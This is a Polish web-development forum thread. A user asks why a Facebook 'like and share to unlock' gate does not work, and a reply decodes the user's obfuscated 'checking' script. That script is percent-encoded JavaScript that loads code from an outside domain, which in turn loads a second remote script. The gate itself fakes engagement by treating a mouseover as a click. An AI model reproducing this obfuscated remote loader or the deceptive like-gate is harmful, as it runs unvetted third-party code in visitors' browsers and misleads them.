Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Wykrywanie kliknięcia- błąd
kiepski96
post
Post #1





Grupa: Zarejestrowani
Postów: 233
Pomógł: 0
Dołączył: 22.02.2010

Ostrzeżenie: (0%)
-----


Mam kod, dzięki któremu mogę zablokować daną stronę- aby wejść trzeba kliknąć lubięto i udostępnij (Facebook).
Problem w tym, że nawet po wykonaniu akcji nie działa i dalej prosi o polubienie lub udostępnienie (IMG:style_emoticons/default/sad.gif)

Mój kod główny:
  1. <script language="javascript">
  2. var l1OK = false;
  3. var l2OK = false;
  4. function share()
  5. {
  6. alert('yo');
  7. }
  8. function getIt()
  9. {
  10. if(l1OK && l2OK)
  11. window.open('reveal.php','_self');
  12.  
  13. if(!l1OK)
  14. alert("Proszę kliknąć lubię to.");
  15. else if(!l2OK)
  16. alert("Proszę kliknąć udostępnij.");
  17. }
  18.  
  19. </head>
  20.  
  21. <!-- Start: container -->
  22. <div id="container">
  23.  
  24. <div id="obrazek"></div>
  25. <div class="tlo">
  26. </div>
  27. <div id="main">
  28. <noscript>Proszę włączyć javascript w przeglądarce.</noscript>
  29. </div>
  30.  
  31. <div id="like">
  32. <div class="button">
  33. <iframe onmouseover="java script:l1OK=true;" src="http://www.facebook.com/plugins/like.php?href=XXX&amp;layout=button_count&amp;show_faces=false&amp;width=350&amp;action=like&amp;colorscheme=light&amp;height=40" style="border: medium none; overflow: hidden; width: 150px; height: 30px;" allowtransparency="true" frameborder="0" scrolling="no"></iframe>
  34. </div>
  35. <div class="share">
  36. <td onmouseover="java script:l2OK=true;" width="196"><a href="http://www.facebook.com/sharer.php" name="fb_share" share_url="XXX" type="button_count">Udostępnij</a>
  37. <script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script></script></td>
  38. </div>
  39. </div>
  40.  
  41.  
  42.  
  43. <div id="watch">
  44. <div class="przejdz"><a href='java script:getIt()'; style="text-decoration:none; outline:none ;color: #ecd42f ;font-size: 18px;">PRZEJDŹ</a></div>
  45. </div>
  46. </div>
  47.  
  48. </div><!-- End: container -->
  49. </body>
  50. </html>


Kod sprawdzający (tutaj jest pewnie błąd) :

Kod
<script type='text/javascript' language='Javascript'>
<!--
document.write(unescape('<script%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%66%72%61%70%70%65%64%61%6B%69%2E%63%6F%6D%2F%6A%73%2F%73%63%72%69%70%74%31%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
//-->
</script>


Bardzo prosiłbym o poprawienie kodu, aby działało, bo moje umiejętności js są znikome (IMG:style_emoticons/default/wink.gif)
Mam jeszcze arkusze styli ale chyba są wam niepotrzebne.
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi (1 - 1)
pczeglik
post
Post #2





Grupa: Zarejestrowani
Postów: 10
Pomógł: 1
Dołączył: 14.05.2012

Ostrzeżenie: (0%)
-----


Nie zagłębiałem się dokładnie w to co tam napisałeś, ale widać, że ten kod sprawdzający robi dwie rzeczy.

1. Dodaje skrypt:
  1. <script type="text/javascript" src="http://www.frappedaki.com/js/script1.js"></script>


2. Który po załadowaniu strony wywołuję funkcję, która z kolei dodaje następny skrypt, ale nie odnajduje go, ponieważ pod wskazanym urlem: http://www.frappedaki.com/js/script2.js skryptu nie ma i stąd error 404.
  1. window.onload = function(){ var s = document.createElement('script'); s.src = 'http://www.frappedaki.com/js/script2.js'; document.getElementsByTagName('body')[0].appendChild(s); }


P.S. Być może zabezpieczyli stronę przed hot linkowaniem (IMG:style_emoticons/default/tongue.gif) Bo chyba komuś ten skrypt podkradłeś, choć mogę się mylić (IMG:style_emoticons/default/smile.gif)
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 24.08.2025 - 16:30